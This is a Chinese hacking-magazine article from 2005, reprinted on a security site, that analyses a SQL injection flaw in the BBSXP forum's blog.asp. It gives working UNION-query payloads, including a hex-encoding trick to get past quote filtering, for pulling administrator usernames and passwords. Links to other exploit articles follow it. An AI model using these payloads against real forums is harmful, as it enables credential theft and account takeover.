BBSXP漏洞再探究

所属分类: 实用技巧 / 漏洞研究 阅读数: 438
收藏 0 赞 0 分享
注:本文已发表在《黑客X档案》2005年6期,版权归其所有,转载请保持文章完整性并注明版权

最近BBSXP论坛可以说是一点都不平静。漏洞一个接一个暴出来。上次对showforum.asp这个文件的漏洞分析过后,没多久,又暴出blog.asp存在漏洞。于是俺这个菜鸟的心再不能平静了,不要每次都等着人家给我们找漏洞,咱自己也来分析一把看看。
首先,我们回顾一下showforum.asp中的漏洞,还记得order变量,是经过了HTMLncode过滤了以后才放到SQL语句中去执行的。再来看看blog.asp中出漏洞的地方:
id=HTMLEncode(Request("id"))
if id<>"" then
sql="select * from [calendar] where id="&id&" order by id Desc"
id变量同样是经过了HTMLEncode过滤了以后,就放到了SQL语句中去了。利用的方法是构造一个特殊的id变量,使用UNION查询将密码暴出来。
小知识:UNION查询的基本介绍
使用UNION可以将多个查询结果合并起来时,系统会自动去掉重复的记录。参加UNION操作的各结果表的列数必须相同;对应项的数据类型也必须相同;
select top 1 username,userpass from [user] union select ’test’,’12345’ from [clubconfig]
——这里加上了单引号是表示里面的数据为字符型,为了和前面的username和userpass的类型对(在ACCESS中则没有这么严格的要求,数据类型不一致的话,不会导致SQL语句出错)上。在海洋2006的数据库操作里执行的结果如下(图1):

screen.width-461) window.open(’/Article/UploadFiles/200507/20050722220746428.jpg’);" src="/college/UploadPic/2006/8/27/2006827232628179.jpg" width=564 onload="if(this.width>screen.width-460)this.width=screen.width-460" border=0>
原理学习与分析
了解了union查询,我们就可以构造这个id了。如:id=-1 union select 1,2,3,4,5,6,7 from [user] where membercode=5
还原完整的SQL语句是这样的:
select * from [calendar] where id=-1 union select 1,2,3,4,5,6,7 from [user] where membercode=5 order by id Desc
此SQL前半部分会因为id=-1而什么也查不出来,然后,1~7这7个数字是因为calendar这个表中有7个字段。那么大家可以看到如图的结果。(图2)

screen.width-461) window.open(’/Article/UploadFiles/200507/20050722220807132.jpg’);" src="/college/UploadPic/2006/8/27/2006827232628948.jpg" width=564 onload="if(this.width>screen.width-460)this.width=screen.width-460" border=0>
其中能显示出来的数字(比如3和4),可以改为字段名username和userpass。因为有membercode=5做条件,所以可以将级别为社区区长的用户名和密码查出来。(图3)当然,如果想查特定用户的密码也是很容易的,把username作为限制条件就可以了。不过要注意的是,HTMLEncode函数过滤了单引号,所以要用十六进制转换一下。把语句改为:
id=-1 union select 1,2,userpass,4,5,6,7 from [user] where username=0xD3C3BBA7
其中0xD3C3BBA7是“用户”的十六进制写法。如果是数字和英文的话,记得每一个字符需要用四个字节来表示,比如“1”要写成0x3100。这和上次的一样。有一个不一样的地方是,上次我们用了DECLARE @cmd sysname,并且将空格转换为了“+”号,后来实践后发现是没有必要的。所以特别提出一下。 
更多精彩内容其他人还在看

MySQL Proxy(解决注入的另一思路)

MySQL Proxy的主要作用是用来做负载均衡,数据库读写分离的。但是需要注意的是,MySQL Proxy还有个强大的扩展功能就是支持Lua语言——魔兽也是使用了Lua来开发游戏,据我所知网易也是——可以参见云风的博客。
收藏 0 赞 0 分享

phpwind管理权限泄露漏洞利用程序发布

phpwind是国内使用非常广泛的一款程序,由于在程序设计上存在错误,导致任何人可以取得前台管理员及斑主权限,做删除帖子等任意操作
收藏 0 赞 0 分享

分析NtGodMode.exe干了什么

NtGodMode.exe是通过打开LSASS.EXE进程msv1_0.dll模块空间里,然后搜索特征值8B 4D 0C 49之后第1个32 C0 这个32C0汇编码xor al,al,修改为B001对应汇编码mov al,1 为什么mov al,1,以后就不用密码了?
收藏 0 赞 0 分享

伯乐asp收信程序漏洞及利用程序利用代码

信息来源:邪恶八进制信息安全团队(www.eviloctal.com) 文章作者:fhod 发这个也是因为看了asm所写的新概念收信程序 箱子永远不会被黑
收藏 0 赞 0 分享

字符集导致的浏览器跨站脚本攻击分析

前言:这种利用类型的攻击早在06年就被安全研究人员指出,不过一直没有在国内重视。而由于我们国内大部分站点正是这种有漏洞的字符集,所以影响还是比较大,希望各大站快速修复。可以看看http://applesoup.googlepages.com/。
收藏 0 赞 0 分享

Search Engine XSS Worm

作者:余弦 来源:0x37 Security 有挑战才有意思,为了诞生个Search Engine XSS Worm,这里拿yeeyan做实验了。
收藏 0 赞 0 分享

CPU也有远程攻击漏洞 英特尔匆匆修补

BEAREYES.COM 北京 [ 翻译 ] 作者:1000years 日期:2008年08月12日
收藏 0 赞 0 分享

暂时屏蔽 IE 最新 0day的4 种方法

IE 最新 0day 波及了微软全线系统居然在2008年12月14日8:00:15还没有出补丁!我查看微软站点,好像有几个手动操作的办法暂时屏蔽。
收藏 0 赞 0 分享

Sql Server 应用程序的高级Sql注入第1/2页

这篇文章讨论常用的"sql注入"技术的细节,应用于流行的Ms IIS/ASP/SQL-Server平台。这里探讨有关这种攻击各种可以注入程序访问数据和数据库防范的方法。
收藏 0 赞 0 分享

ASP木马后门新思路

ASP木马后门新思路
收藏 0 赞 0 分享
查看更多